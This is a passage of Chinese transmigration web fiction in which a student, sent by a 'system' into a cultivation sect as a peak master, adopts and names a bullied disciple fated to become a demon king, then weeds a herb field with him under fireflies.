《穿到魔王少年时》
1. 你叫什么名字
“我才不和他一队!”弟子的声音清清亮亮,说出的话却不甚入耳,“我家送我到道生宗是来修习,可不是来给这些不三不四的人作陪的!”
四下的同修皆是倒吸一口凉气。
端稚正气势汹汹地指着一个清瘦的少年,少年生得高,纯白的弟子服上隐约透出瘦削的锁骨轮廓,整袭衣摆干净地垂到脚踝。
上官低着眉眼,闻言微微将指甲掐得发白,一言不发。
将二人组为一队的剑峰老师脸色僵了僵。
他本是随手一指,谁想这端稚居然如此不把他放在眼里,当场就敢掀桌子开骂。
老师正觉手足无措时,一阵沁人心脾的清冽灵力忽地侵袭此处,像是某种药效霸道的安神草药。
而后,在众人围观的光秃秃中央,一个人影凭空凝结了出来。
看背影,那人约摸二八,少女模样,一袭衣裙飘渺似仙,星郎与霜色绞在一起,好像在她的身旁下了一场夜雪。
上官紧握成拳的手一滞,这才后知后觉出痛意来。
他没能够看到那人的脸,因她移着沉静的步伐直直走向端稚,连一个眼神都没有转过来,就像是这个地方根本没有他这个人一样。
而此时,方才还盛气凌人的端稚神情一愣,一双眼睛怔怔地目视着来人,像是潭子里被顽童投了块石,无风起浪。
他曾在画像中见过这个人,远山眉,丹凤眼,气质出尘,修为深不可测——
正是剑峰峰主,殷吟。
“小孩。”在众人或不解或震惊的注视之中,不请自来的殷吟笑吟吟地看着端稚。
她的声音清脆又甜,长得更是仙风道骨,天仙一般。
端稚一时看呆了,脸红起来:“峰……峰主姐姐。”
这个称呼似乎很得殷吟的心,她的眼睛弯成了好看的月牙形,在端稚的注视之下,一字一字地夹着道:“你才是不三不四的人哦。”
端稚以为自己听错了:“什……什么?”
“我没空重复。”殷吟忽地直起身子,伪装的和颜悦色一并烟消云散,面上只余浓浓的冷漠和厌恶。
“资质不行品德更不行,不管他是什么方法进来的,现在马上把他给我赶出去。”殷吟一发火,旁边看着戏的弟子和剑修老师纷纷伏低了头,噤若寒蝉。
“我的剑峰不收垃圾,以后谁再敢给我弄这些不三不四的东西进来,就一起卷铺盖走人!”
老师战战兢兢地称是,再不敢怠慢,手上飞快结了个印,将被训得呆若木鸡的端稚拉进虚空,连反驳的时间都没有。
做完之后,他恭敬地又再拱手,等候殷吟的指示。
而殷吟的注意力却没有落到他身上。
一旁被冷落的少年目睹殷吟发火的过程,心中微动。此时,那袭衣裙蓦然回过身来,衣摆在空中散成盛开的花形,纷纷扰扰的议论声中,他猝不及防地看进她剔透的眼睛。
上官很快垂眼,错开目光。
他感觉到,那股灵力的主人一步一步走近,而后在他的面前停下。
上官恭声:“峰主。”
殷吟微微歪头看他。
这是她第一次见到少年的真容,他长得要高她一些,但也不多,殷吟堪堪能到他的眉骨。身形倒是瘦得过分,像株刚破土的小树,脸上带着几分未褪尽的稚气,削落了骨骼的凌厉感。
看上去不像坏蛋,反倒有点可怜。
殷吟顿了顿。
她会来这里捡他,全要从一个该死的系统说起——
几分钟前,殷吟刚放假回到舒适的家中,下一秒睁眼,就发现自己好像做白日梦了。
周遭陈设古色古香,空气清新得不像在人间。最骇人的是,她的脑海里出现了一个声音。
【简而言之,你是宿主我是系统,你的任务是阻止这个宗门的堕魔宗主】
“我不要!”
殷吟想都没想就拒绝了,但系统开出了令人难以拒绝的有力诱惑。
【不然就弄死你】
“我去!”
一语双关的回应震得系统停了停。
“你讲点道理吧?”殷吟抓了抓头发,试图晓之以理动之以情,“我就是个破读书混日子的,我拿什么去和一个毁天灭地的魔王打?”
【……】
“嗯?”
【没有要你打】
殷吟:“啥?”
【我会让你在他还是弟子的时候,穿成他的上级】
升级流苦战本变救赎向日常文。
“那行……”殷吟松了一口气,下一秒,她就感受到自己的身体好像有些古怪,换句话说就是,小说中常写的传送。
“停停停不是我没有同意放我回家!”
她的最后一声反抗消散在天地,随后殷吟便被传送到了这个时间点,惜字如金的系统也消失不见。
殷吟义愤填膺之余,还是怕死地接受了系统留在她脑中的世界基础知识和一条提示,并循着提示来到这里。
一切太过仓促,她甚至不知道这个未完成版的魔王的名字叫什么。
殷吟又粗略搜了一遍系统的世界基础知识。
三天前这批新弟子刚入道生宗,宗内每届弟子都会统一赋名,随字辈,端稚就是一个例子。但那天,未完成版魔王恰好生了病没参加,也就暂时没有名字。
殷吟心中叹气。
人家没去就干脆连名字都不给,也不知道变通一下。
少年见殷吟许久不做声,微微抬睫,暗自用余光打量她。
她的眼睛长又微微上挑,不做表情时显得冷漠疏离、心事重重的样子。上官摸不透她的性子,就像猜不出从未出面的峰主殷吟为何会亲自出面训斥端稚。
他还未想出自恰的原因,殷吟思绪已然回笼,神情认真地看着他,朗声道。
“以后你跟着我修习吧。”
殷吟下这个决定是费了一番心神的。
系统说要阻止他堕魔,殷吟思来想去,目前最有威胁的就是像端稚那样的挑事弟子,那只要她现在就把未完成版魔王带在身边不让人再欺负他,应该就没问题了吧?
书上都这么写。
殷吟的话一语惊起
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千层浪,在她的神识感知之中,几乎所有人都在窃窃私语。
她怕拖久了又要出什么岔子,便仗着自己修为高深,一言不发直接带着少年原地消失了。
“峰主把他带走了?!”
“峰主真的要赶端稚走,还要收那个人当关门弟子?”
“不是吧,端稚家里不是……”
·
剑峰的峰顶是峰主居住的剑苑,此时苑内除了一对大眼瞪小眼的新师徒外,空无一人。
殷吟恍然发觉过来,自己连少年的本名都还不知道。
“你叫什么名字?”她问。
从后山的训练场到剑苑不过瞬息时间,上官的耳垂红得甚于刚才被她捉弄的端稚。
殷吟发觉,于是她自省了一番,是不是自己表现得太像一个强抢良家的恶霸了。
作为剑峰峰主,殷吟的境界已入化神,峰上风吹草动都在她心神之中,于是偷偷来到门外八卦的两个高等弟子的声音也被她尽收入耳。
“你看那师弟,他的耳朵都红了!”
“天呐,没想到峰主火急火燎出去就为了这个,峰主居然是这种人……”
殷吟欲哭无泪,更不知道从哪里开始辩解了。
她明明是正在拯救这个世界于魔王手下的英雄好吗?
“我……”上官睫毛微微颤动,他的声音很轻,像天幕泄下细雪一般,骤然将心里的火急火燎殷吟拉回现实,“没有名字。”
这句话霎时将殷吟脑海中此起彼伏的声音生生摁停。
她的眼瞳中映出面前的少年,他几乎是瘦骨嶙峋,指节分明,看上去像连饭都没吃过几顿饱。要不是系统的提示,殷吟根本不会把他朝魔王上想。
哪有魔王是会上课时被同修讥讽不三不四,还连名字都没有的?
上官见她又再沉默,心中蓦地也感到几分忐忑。于是他试着询问:“峰主?”
少年还未等到回应,殷吟就扯着他的手往外走,吓得他一个踉跄差点没站稳。
修为高深的殷吟走起路来步履生风,虽然已经刻意迁就他,但上官还是勉强跟得有些上气不接下气。
光天化日,他被峰主拉着在外面大摇大摆地走,引来不少探求的目光。
上官不大适从,低下头时额前的碎发跳动,阳光点点透到他脸上:“峰主,我们要去哪里?”
“物阁。”殷吟直截了当地回他。
世界基础知识道生宗篇,道生宗分七峰,凡是进宗的弟子,第一年都需在剑峰修行基础的剑理,所以用来给新弟子赋名的天地签就安置在了剑峰的物阁里。
端稚的名字,这一届所有弟子的名字,还有道生宗所有弟子的名字都来自那个天地签。
虽然他未来是魔王,但现下也是道生宗的弟子,将来还会是道生宗的宗主,所以合该也得到赋名。
上官闻言微愣。
他走得不如殷吟快,微微缀在她后面一点儿,只看到她梳得飘渺又周正的发髻,玉簪随着步伐而动,像是一个跳跃的小灯笼。
他大概猜到殷吟要做什么了。
2. 这是你的名字
看管物阁的物史正在打瞌睡,深厚的灵力波动忽地浸入物阁之中,惊得她差点推倒了左手一排架子。
物史连忙起身相迎,面容带笑:“峰主,您怎么来了?”
她看到殷吟拉着的瘦削少年,神情僵了一瞬。
是剑峰上新来的一个扫把星,无名无姓的人见嫌。
上官感受到物史的情绪,压了压眉眼,降低自己的存在感。
寻常修为的人任何微小表情在殷吟眼中都会放大,她对物史投去一眼,随后拉着少年迈步过去:“我想拿天地签。”
“天地签?”物史不敢怠慢殷吟,素手一翻,一个通体琉璃光泽的签筒出现在了她的掌心。
她恭敬地双手递上。
“嗯。”
见殷吟接过去摆弄,物史神色惴惴:“峰主,天地签只有在统一给新弟子赋名的时候才能启用。”
直觉告诉她,峰主要天地签和这个没有赋名的新弟子有关系。
殷吟的手一顿:“现在用,会有什么不好的后果吗?”
物史摇头:“这倒不是,只是峰主要用,是不是先和其他几峰的峰主商量了为好?”
听到这不痛不痒的回答,殷吟无所谓摆摆手,试着往天地签里注一簇灵力,就像她尝试传送时那般:“嗯,我用完后就去。”
还以为是什么毁天灭地的后果呢,看来是她高估这个随机骰子了。
天地签原本安静地躺在殷吟的手心之中,感受到灵力的输入后,竟然悠悠腾空起来,微光一闪一闪,就像在开机一样。
物史在旁心神不宁地赔着笑,作为物阁管理者,她隐约感觉到有一顿骂奔着她来了。也好在现下物阁没有旁人,她不往外说影响也不大,最多扣个两天月钱就过去了。
不对。
物史背后一凉。
照惯例,新弟子入剑峰的第三天,也就是今天,会有专门的峰史老师带弟子参观物阁。依往常的时间,大概也就是……
现在。
“同学们,这里就是物阁,每个峰上都有自己的一个物阁,用以储存调用该峰的所有物资,每种东西的取用都被严格规范。”
怕什么来什么,门外忽地透进一个熟悉的声音,讲解词都像是十年前用的那版:“像是前日入门大典上赋名的天地签,就储……”
物阁大门被灵力掀起的微风轻盈叩开,物史看到门口黑压压的一大片娃娃脸,当下认命地闭上双眼。
峰史老师走在最前面,见到天地签被殷吟一手托着,双眼一下瞪大,如同看到什么礼崩乐坏的场面一般:“天……天地签?!”
在赋名时,所有新弟子都见过天地签的模样。它虽然不是什么效力稀罕的东西,但也算是一道承载着道生宗所有在册弟子的大法器。
他们的名字还在天地签中流转,但此时,那壶天地签被他们的峰主随意地掂在手上,另一只手还拉着那个没有名字的、第一节课就害走了端稚的扫把星。
殷吟倒不知道他们对这个小筒还有如此归属感。她自然地拉着少年站到一旁,对峰史老师招招手说。
“你们继续,不用管我。”
峰史老师急得脸红,朝物史好一番挤眉弄眼,后者也只小幅地摇着头。
他瞪去一眼,随后在众目睽睽之下堆起笑容,上前问道:“峰主,您这是在做什么?”
“做什么?”殷吟正等着天地签开机,闻言古怪地重复了一遍他的话,又摆出方才对端稚的笑,“我拿着它吃饭,拿着它锻炼,拿着它洗衣服呢。”
早上见过这个人畜无害的笑容的弟子们后背俱是一凉。
峰主不会要把老师也赶走吧?
峰史老师干笑:“这恐怕不太好吧?”
殷吟睇那老师一眼,上官感觉到拉着自己衣袖的手松开,他垂眸,眼底覆上一层暗色。
下一秒,殷吟便朝峰史老师扬了扬手中的天地签,提问:“这是什么?”
“天地签……”
“干什么用的?”
“新弟子赋名。”
“那我拿天地签来给新弟子赋名,有哪个地方不对?”殷吟莞尔,目光如炬地看着峰史老师,看得他冷汗涔涔。
“这……”峰史老师咬了咬牙,“可是赋名仪式已经过去了,峰主随意就取用天地签,这恐怕不合规矩吧?”
他话一停,殷吟听到熙熙攘攘的弟子群中有人应和:“对啊峰主!您早上随随便便就赶端稚走,现在还要拿天地签给这个……家伙,这不合规矩!”
他们之中本就不少人多少有意见,他的声音一出来,有意见的弟子们蓦地找到浮木,都七七八八地依靠过来,一言一语小声应和起来。
物史听众口铄金快吵翻了天,欲哭无泪。
殷吟耳边轰隆隆地响,在修为的加持下,她的听力好出常人许多,每个人话中的每个音节都像被放慢了十倍一般清晰。
实在没什么听头,无非就是说她动用天地签于理不合。
“停。”殷吟一提声,在场的人纷纷熄火。他们说到底还只是刚摸到修炼的门槛,高阶的修者于他们而言,天然有着不可逾越的威压。
“剑峰确实没有可以随意动用物阁法器的规矩,我刚刚已经和物史约定,会在用过之后去禀明其他峰主。”
她的话合情合理,人潮渐渐安静下来。
部分是因着殷吟的峰主身份,部分是因她的一番解释,还有一部分是因为天地签开始运转了。
虽然没人承认,但是在心里,很多弟子都好奇天地签会给这个人取一个什么样的名字。
他们都随端字辈,天地签给端稚取的是稚气的稚字,那这个孤僻阴郁的人,又会是哪个字?
筒中玉签沸腾一般地互相碰撞,冲撞筒壁,就像是赋名仪式上所有人注入灵力时一样,带有名字的玉签,随时可能冲出。
就差最后一步,让少年注入他的灵力。
殷吟不打算在这个人多眼杂的地方让上官注入他的灵力,她回身去拉他的衣袖,准备再使一道传送咒离开此地。
少年攫着的拳被动作晃松,掌心留下一排浅浅的半月。
殷吟心神一动,意料之中的场景变换却没有发生。
她眨眼,面前仍是物阁高耸不见顶的四面储物柜,弟子们张着眼睛观察着动静,气氛像冬日的湖面一般凝滞不动
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殷吟自来到这里还没有出现过如此在她意料之外的事情,她心里一跳,隐隐有不好的预感。
很快,她的耳朵捕捉到了一丝微不可察的动静。
物阁中包罗万象,无数法器宝物堆叠在高不见顶的置物架上,一层一层像蜂巢似地。为了方便飞行与取物法术不是那么精湛的弟子,器峰人在阁中修建了一段段无头无尾的空中阶梯,随载者心意而动,来去自如。
方才差点被物史推倒的架上阶梯正载着人,缓缓驱着长阶往下,见殷吟望过去,众人的目光也小鸭跟着鸭妈妈似地黏了上去。
霜白色的长袍像飞流的瀑布一般向阶上跃动而下,尽头的卜漪面无表情地开口:“抱歉,殷峰主,这里先暂停一下。”
殷吟眉心一凝,霎时明白这又是一个来拦路的角色。不同的是此人的修为不在她之下,殷吟没有办法像镇弟子一样镇住她。
她能感觉到,每当她尝试动用多一分灵力,就会有另一股不明出处却又分量相当的灵力出来与她抗衡,拉扯着不让她走。
她沉声问道:“卜峰主,这是什么意思?”
高修为真的是一个很好用的东西,她已然在人群的窃窃私语中听到,这个人是卜漪,医峰峰主。
“得知你这里有状况,我亲自代表宗主和其他几位峰主,请你和上官过去一趟。”阶梯落地,卜漪公事公办的目光依次扫过她点到的人和物什。
“天地签,去后再用也不迟。”
殷吟垂眸。
她不好和医峰峰主闹僵,更遑论她也不一定是卜漪的对手。但如果由着她的话走,天地签恐怕就难有动用的机会了。
她心念一动,细细回想着卜漪的那番话,当即福至心灵。
“稍等,”殷吟安抚卜漪,又再回头去,一双明亮的眼睛直直望着少年,像绽了一场烟花:“这是你的名字?”
她问的是卜漪方才话里的,上官二字。
少年的睫毛颤了颤:“是姓。”
殷吟点点头,反手将手中闪烁的天地签轻巧地飞至物史手中,神情自若:“按宗内规定,作为我的亲传弟子,他不需要随端字辈。”
少年目光沉沉,一片漆黑眼底不偏不倚地望着她,即使现在的他只能看到殷吟披散身后的长发,并同她站得笔直坚毅的动作。
她水撞银铃一样清脆的声音乍响,恰在此时回过头来看他:“如果你愿意的话,就叫……
上官今。”
上官今。
这个新名字就像他一样,一从殷吟的口中出现,便在众人之间炸开了锅,引发无尽的讨论。
而在纷纷扰扰的议论声中,卜漪出声。
“好。”
她不是十分古板的人,既然殷吟让步,她也就顺坡下驴,拱手作请:“既然这件事结束了,殷峰主,现在可否带着你的弟子移驾道生峰?”
医峰峰主承认了扫把星的身份与名字,在场的人你看我我看你,表情无不怪异。
殷吟清了清嗓。
卜漪反给了阶子,自然也就轮到她下。在众人环伺的目光之中,殷吟颔首,眉眼弯弯。
“久等。”
3. 为什么选我
道生宗分八峰,其中七副峰分别主剑阵医符器丹兽,团团簇着最中间的道生峰,也就是道生宗的主心骨。
在殷吟带着头脑发热收的新弟子抵达道生峰时,也是她第一次看到道生主殿,不是金碧辉煌的宫廷风格,也没有仙风道骨的派头,更像是一座古朴的苏州园林,有山有水。
如画卷一般绮丽的奇景展开在主峰之上,其间鸟兽穿行,鸣声不绝。
殷吟连连暗叹,目不暇接之余终于想起后面的上官今,回首朝他眨了眨眼睛:“别害怕。”
上官今目不斜视地走着路,面上不见神色,看着殷吟剔透的目光,乖巧地点了点头。
最前面的卜漪发出简短的评价:“又不是要拿他入药。”
殷吟沉默:“……”
“她们回来了!”
次第过着阴晴圆缺的月形拱门,就听到有人在高声叫嚷,虽然语气听起来不甚成熟,但应该也是个修为高深的峰主。
拱门之后是一方厅院,高山流水的飘渺背景前整齐地围了圈呈“冂”形的交椅,最中心是位白发苍苍的老者在坐,约摸就是他们宗主。宗主的右手边是一个慈眉善目的中年叔叔,看起来很能吃。
殷吟觉得刚才那一声就是他发出来的。
本着伸手不打笑脸人的原则,她一一微笑着点头致意。
“人来了。”卜漪卸货一般地撇下她们,入座左边。
老者点点头,似乎很满意卜漪的效率,眼睛笑成了月牙,泛出一圈一圈的深厚皱纹。
这种笑让殷吟很不舒服,她总感觉像是动物世界里毛色艳丽的老狐狸,狡诈多心。
但老者的声音很是仁慈,招孙女一样唤殷吟上前:“小吟啊,来。”
殷吟默了一瞬,最终选择留在原地发问:“宗主,找我可是有什么事情?”
领导突然招两个人来就只有两个可能,一个是两个一起骂,一个是杀鸡儆猴。现在看,自己应该是猴。
老者见她不动,笑容如旧:“今天是新弟子开课第一天,听说你早上就收了个弟子?”
殷吟点点头,暗叹宗主消息这么灵通:“刚收。”
消息灵通八成是有人去告状。
老者循循善诱,目光若有若无地飘到殷吟身后去:“你是先赶了端稚,然后去拿天地签,又收了他做弟子?”
殷吟后退一步挡了挡,神色无辜:“早上那个弟子行为无状,我正要处罚招他进来的人。”
她背在身后的双手指节舒展开来,上官今看着,琢磨着是不是有什么含义。
宗主见殷吟不肯松口,看她的目光带上几分朽木难雕的意味:“人非圣贤,孰能无过?小吟啊,有些事情点到为止就好。”
殷吟默不作声。
要说罚她一意孤行动用天地签,她认,但是让她去给那个没礼貌的后台小孩赔礼道歉再恭恭敬敬请回剑峰,门把都没有。
见二人僵持,一旁陶砌笑眯眯地出来打圆场:“诶呀,小殷也不是故意的,把那个端稚招回来,也给个峰主弟子安抚安抚就行了嘛,不是大事。”
“至于这位弟子……”他的声音响起,众人仿佛才想起此处有个上官今,形形色色的目光迟缓地聚集在少年身上。
“既已收为弟子,那自然有小殷的考量,宗主就随她吧。”
殷吟眉心微蹙,虽然这位峰主话里话外是替她开解的意思,但她总觉得有处逻辑不大对。
但上官今听着这暗暗给他扣帽子的话,终于眉头轻挑,将视线从殷吟的双手上抽离开去。
没什么深意,就是殷吟的站姿习惯。
在众人各怀心思的片刻沉默之中,安静许久的卜漪沉声:“器峰平日就是这么处理事情的?难怪每年宗内大比都落在后面。”
陶砌闻言神色骤青,暗自攥了攥拳。
身为器峰峰主,每年宗内大比排名都落在倒数第三,甚至远在手无缚鸡之力的医峰后面,一直是他的心病。
“吵起来吵起来!”沙哑的声音此时突然响起,殷吟才发现陶砌旁边的位置上伏了一只黑壳乌龟,看起来老气横秋。
这个殷吟能在基础知识里对得上号,是兽峰的峰主。
陶砌呵他:“闭嘴!你们兽峰不也是年年排在最后!还不如我呢!”
“嘻嘻……”
“好了好了,”老者看着这鸡飞狗跳的场面,一时头疼,揉着太阳穴飞快地想下最后通牒,“端稚和上官都年幼,稍加管教小惩大诫,这件事就罢了。”
殷吟不服:“如果要罚,我也责无旁贷。”
卜漪凉凉斜她:“我看也是,殷峰主私自动用天地签,违反宗内条例,这师徒二人都得罚。”
这句话直直浇了气势汹汹的殷吟一头凉水,她不免冷静几分,奇怪地看过去。
卜漪怎么突然要掺一脚?
“那你觉得,罚什么好?”老者无奈。
“医峰后山有一块地一直荒废,腾不出去人手去处理,”卜漪义正言辞地略过殷吟探寻的目光,仿佛这块地和她一点关系都没有,“临近药草新下土的时间,既然正好,不如就让她们去把地理出来。”
老者略一思索,点头赞许:“也好,既然这里有四位峰主,那就做个见证,此事就这么办。”
殷吟脑中直发问号,还未反应,下一秒只觉一阵天旋地转,面前的园林奇景已然被广袤无垠的荒芜草地取代。
她心下一惊,连忙回头,看到熟悉的上官今的身影时微微松了口气。
还好宗主记得把上官今给她捎上,没弄丢。
作为一峰之主,殷吟的神识已经能布满几乎整个山头,粗略一感,她就知道卜漪还真的没有留情,这片废地的占地面积大概得有百来个四百米操场大。
上官今无声无息地走上来:“峰主,我们从哪里开始?”
按卜漪所说,她们要把这个地方的杂草全都清理干净。而上官今居然比殷吟这个惹祸的接受程度更佳。
殷吟神情倏地认真起来,托着下巴细细打量着他,看得上官今也略感奇怪地看向自己。
而后殷吟温声:“这件事归根结底是我的责任,我来就行了,你随便找地方歇会儿吧。”
就算不提是她的原因,上官今这幅弱柳扶风的模样,殷吟便从心里不想也不敢让他来帮忙干体力活。
上官今想也没想地拒绝:“不用。”
“去休息吧,”殷吟将袖子卷到手肘,而后拍拍他的肩,“我很快就能弄好的。”
上官今目光在肩上停了一瞬,没有再说什么,转身往远处走。
殷吟觉得他是默认,乖乖找地方休息去了。
她朝着上官今的背影点头以表赞赏,又抱着裙摆蹲下来,准备就地试试怎么拔草方便些。
上官今还未走远。
既然殷吟不希望他在她眼底下帮忙,那他走远一点,到她看不到的地方去除草就是了。
但他还没能够走出几步路,身后就忽地传来了奇怪的声音。
“啊!”
他觉得古怪,但还是循声往回走。不一会儿就看到蹲着的殷吟像躲怪物一样把自己的右手伸远远的。
上官今内心隐隐升起一个荒谬又合理的原因,他敛了敛神色,收拢衣摆蹲下来问:“峰主,怎么了?”
“那那那!”殷吟紧紧拧着眉,她口中说方向,但整张小脸都扭着不见人,让他猜都不知从何下手猜起。
她伸出去的手一直在晃,怕极了的模样,抖得上官今眼里看不太清。
“哪里?”上官今试着伸手,堪堪停在她纤细的手腕旁。他顿了两息,见殷吟没有叫停,便轻巧地捏住了她的手腕。
不知道是不是他的动作起了作用,殷吟稍稍冷静下来,扭到一边的头终于肯抬眼看他。只是耳边的发丝被不注意拂到眼前,她的视线明明暗暗。
上官今偏开目光,又问道:“怎么了?”
殷吟小声:“……有虫子。”
被自己刚收的弟子抓包到害怕虫子,实在是有些丢人。
上官今将她的手拉近过来,终于在殷吟僵硬的神色下找到攀在食指和中指之间的一只金龟。他看了一眼,随手捏下来放生到草丛中去:“好了。”
“谢谢啊。”殷吟后怕地甩了甩手,看着那只金龟扭了几步便消失不见,颇为意外地将目光转到上官今身上。
没想到未完成版的魔王还是个不怕虫的热心肠,挺招人喜欢的。
“不客
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气,”上官今垂睫,落到地上的视线无处安放,终于寻到一株蔫了吧唧的绿草,伸手在上面点了点。
殷吟疑惑:“怎么了?”
上官今轻轻瞥她一眼:“拔草不能这么拔的。”
“……那该怎么拔,你教我。”虽然不知道话题是怎么转到这里来的,但魔王愿意开口,殷吟也乐得听讲。
最怕的就是不说话又全是小心思的任务对象了!
只是上官今又没有说话了。他双手将那株被摧残得七零八落的杂草梳拢,然后收在掌心,左右摇了摇,觉着底下的土层松动了,便将它连根提起来。
盘根错节的根茎带着泥,在阳光下泛出潮湿的光。
上官今轻声:“像这样。”
殷吟被青草的味道呛到,咳着泪不忘演一出眼睛发亮:“天呐,你这么厉害!”
适当给予鼓励,有助于培养魔王的爱世心理。
上官今垂眸,看着手中纤细易折的草茎微微出神:“小时候收养我的叔叔是在村里开药铺的,他经常带我上山拔药草,偶尔也会除除庭院的杂草。”
殷吟崇敬的神情一顿。
这句话的信息量太大,她没想到上官今这么轻松就说出来自己的往事,看着上官今细细抖着根上的湿土,一时不知道接什么好。
直至上官今把土抖干净,她勉强找回自己的声音:“我来试试。”
殷吟摩拳擦掌,试图盖过上一个话题。她左看右看,特地找了一株长势颓唐的小草,准备实践一番。
她用食指挑了挑叶片,确定上面没附着什么小虫子,而后一把握住,按刚才上官今所做的如法炮制。
噔的一声,殷吟顺利地将它扯了出来。
她颇为满意地摊开手心,小草在掌中安静地躺着。
上官今没忍住笑了出来。
他笑的声音很轻,哼的一声,修长的眉连同不加雕琢的眼尾微微弯起来,像是流水在山涧之间换了道,潺潺而行。
“什么意思?”殷吟第一次在他面上看到这种反应,有些不解。
上官今霎时反应,将笑容敛起:“对不起。但若是这么拔的话,过两天土里的根就又要长出新草来了。”
殷吟闻言低头,她的视线穿过几片残叶遮挡,果然瞥到地表还残留着一截短茎,仿佛深深扎进地下,黑不见底。
“小草用两个手指捏住,提起来就好。”
上官今正色,又将如何拔出小草的方法展示一遍。
殷吟恍然大悟一般点点头。
广阔无边的废弃药田,对一般弟子或许算得上是巨大的挑战。但殷吟不同,她有剑峰峰主的化神境修为,灵池深不见底无穷无尽。
她不仅不会因为反复蹲起而觉得累,在掌握好关窍后还能慢慢地用上灵力来辅助自己,将这个地方当作学习如何运用灵力的训练场。
在殷吟的操纵之下,一块块正方形的杂草块被无形又不容反驳的灵力催动着连根而起,自发整齐地抖净根上沃土,而后排着队飞进一旁早已堆成小山高的杂草堆中。
一遍又一遍,直至殷吟觉得浑身灵力慢慢从虚浮的空中楼阁变成了实体时,最后一块区域也整理妥帖。
她长舒一口气,方睁开双眼,便看到了令自己疑惑的一幕。
“你怎么弄成这样了?”
上官今不知道什么时候把自己弄出了一身的土,灰头土脸地正在扫着黏在衣服上的湿土,虽然效果不尽人意。
他的目光和殷吟接触,而后不知所措一般地摇头。不知是不是她看错了,总觉着上官今的神色有几分复杂。
日头已经落到山下,傍晚凉风习习,混着草根和泥土的潮湿味道,广袤的天空全是沉沉的靛蓝色,空旷寂寥之余,更衬人渺小如蜉蝣。
殷吟席地而坐,见上官今走近,拍拍一旁的地面示意他也坐下。
上官今还在拉扯身上的泥垢,本想回绝,但开口的动作微顿,最终还是不远不近地在殷吟旁边坐下。
气氛不错,作为合格的任务者,殷吟觉得自己得说点什么,潜移默化在上官今的心里种下善良的种子。
只是她还没想到用什么开场,上官今就先出了声。
“为什么选我?”
4. 那你也很好
少年额前的碎发星星点点地跳动着,和眼底的微光遥遥呼应,像是揉了小片的星辰在身上。
“你说什么?”殷吟发觉自己又没能跟上他的思绪。
上官今低头看着自己脏兮兮的履面,干净的脖颈上下微动,又再问一遍:“早上在剑理课的时候,峰主为什么要选我?”
他的眼瞳黯黑,看不出情绪,殷吟拿不准他是随口一问还是在表达不愿意。
她思索一番,抱着膝朝后扬身,像荡秋千一般:“因为你天赋异禀啊,我收徒弟当然是挑最好的。”
“最好?”上官今偏头看她,原是疑惑这个说辞,却不期撞进殷吟笑吟吟的神色。
她早上对端稚和颜悦色时应该也是这副表情,眉眼弯弯,像闪着星光似的,看起来明媚又温柔,虽然出口的话与这两个词都不大沾边。
“嗯。”殷吟高调地回他,眉头微扬,煞有介事一般。
虽然她看不懂怎么样算是有天赋,但她可没说谎,至少上官今在当魔王这件事上天赋确实过人。
上官今低下眼:“峰主……”
“不用叫我峰主,听起来怪别扭的,”殷吟摆摆手,“你直接喊我名字吧。”
她说完后,见上官今没有反应,反是神情中透出几分迷惘,似乎是在认真思考这句话的可行性,不由发笑。
“怎么了,叫名字多好认啊,道生宗这么多峰主,下次要是碰上有很多峰主的情况,你怎么区分?”殷吟眉眼弯弯地看着沉思的少年,“而且,我也会叫你的名字啊。”
殷吟张口,本想叫叫上官今的名字,又忽地止住声音。
在物阁时,她一时情急起了个名字出来,但终归还不知道上官今对这个名字是何感想。
如果他不喜欢,就当早上没有发生过这件事吧。
上官今凝神听着,正觉得殷吟的一番说辞很有道理,蓦地闻她沉默,不免不明为何。
漆黑的眼瞳中眏着她的面容,一双明眸望着远方的天光,身形摇摇晃晃,像是故意装着不在意:“在物阁时的名字,你喜欢吗?”
上官今也学着她规规矩矩地并腿,抱膝看天。
天幕阴沉,没什么看头。
他细细思量,轻声回:“嗯。”
殷吟听到这个回答不由轻笑,用手遮着面,发梢隐隐晃动。
上官今静静听着,她的笑声和着天幕,山间若有若无地漾起回声。
他轻轻启声:“殷……”
“啊!”陡然的高声打破了这方宁静,上官今熄声望去。
殷吟一动,不知何地歇在她胸口的荧光小虫就晃晃尾巴,自顾自飞到了空中去,围着在二人绕圈。
暮色四合,万仞高的医峰之下暮霭沉沉,恰好到了萤火虫出没的时间,不远处收割出来的高耸杂草堆中接连飞出亮着幽光的小虫。
或许是殷吟身上深厚的灵力吸引了它们,萤火虫群无一例外地朝着二人飞过来,在虚空中盘旋着闪光,伺寻落脚点。
殷吟头皮发麻,左闪右躲地避开不断想要停在她身上的萤火虫。
上官今看着好笑,并未表露,而是伸手在虚空中圈圈点点,而后拍拍殷吟的肩让她看过来,将画出的符印轻轻点在她衣上。
清淡的药草香从印中飘出来,虫群随之识趣地往外退开,将原先包成的小圆圈扩成了一条椭圆形的闪烁星河。
点点幽光之中,殷吟惊喜地看着肩上的符印:“你还会这个!”
“会一点点。”
这个世界中,普通人和修者的界限并不是泾渭分明,只要有灵根,完全可以施展出简单基础的法术。
收养上官今的叔叔既是开药铺的,那他会驱虫的法术也无不可能。
殷吟点着符印透出来的白色光点,感觉皮肤暖暖的,随口问道:“你和你的叔叔住在哪里?”
上官今默了默,很快回过神来:“就是南边的一个小村子,没什么特别的。”
他似乎不是很想说,殷吟点点头,安安静静地观赏起漫天飞舞的萤火虫来。
半晌,上官今轻声:“叔叔对我很好,冬天山里太冷,他就让我留在铺中,自己上山去。”
殷吟的目光正追随着一只尾巴有些发黯的小虫,闻言动作一顿,便把它跟丢了。
她收回视线:“那你待在铺里会做什么呢?”
“什么都不用做,”上官今摇头,“所以我每次都趁叔叔不注意偷偷跟上去。”
殷吟噗嗤笑了出来。
上官今侧头看她,乌黑的眼瞳中有些许迷惘。
殷吟哼笑,实在没办法把眼前的人和魔王联系在一起。她正了正色:“那你对你叔叔也很好。”
上官今似懂非懂地眨眼,像只萤火虫。
绿色的幽光围着二人一亮一亮,像是无边无际的黑色房间里点了一盏夜灯,微弱,却在天地之间聚起光亮。
·
剑峰的晨练从太阳升到峰顶时开始,弟子皆要着弟子服,准时到达后山的修习场,不得无故缺席。
今日是修习的第二天,弟子大多找到搭子,搭于器峰的晨练钟未响起前,各自三五成群,无一不是在谈论上官今的事情。
“诶,你看那,他不是成峰主的关门弟子了吗,怎么又到我们这来了?”
“说不定是被赶出来了呢,不是说昨天峰主就因为他被罚了吗,可能生他气,不要他了呗。”
“话说端稚后来如何了,不会真的走了吧?”
“还敢说他,不要命了?”
这些悄悄话多数落入上官今耳中,他低了低头,一身轻便的白色弟子服很快穿过人群,来到了边上的位置。
殷吟生气吗?
他回想了一下昨晚在医峰时她言笑晏晏的模样。
应该没有吧。
